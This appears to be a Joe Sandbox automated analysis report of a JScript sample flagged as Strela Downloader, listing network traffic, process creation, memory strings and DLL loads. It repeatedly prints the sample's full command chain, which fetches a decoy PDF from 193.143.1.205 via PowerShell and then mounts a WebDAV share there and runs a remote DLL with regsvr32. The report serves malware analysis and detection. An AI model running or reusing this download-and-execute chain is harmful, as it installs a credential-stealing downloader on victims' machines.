20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:49212 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1265859176.000002014F4FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1322911374.0000021545EDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322911374.0000021545EA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322911374.0000021545EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1322911374.0000021545EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 0000000C.00000002.1322911374.0000021545EDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 0000000F.00000002.2545195307.000002049CA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1322142700.000002049C900000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 340651472865228929.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@4/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5112

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dv1yekmm.xru.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\340651472865228929.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2216 --field-trial-handle=1756,i,7814837121394009984,10454531649186129190,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2216 --field-trial-handle=1756,i,7814837121394009984,10454531649186129190,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
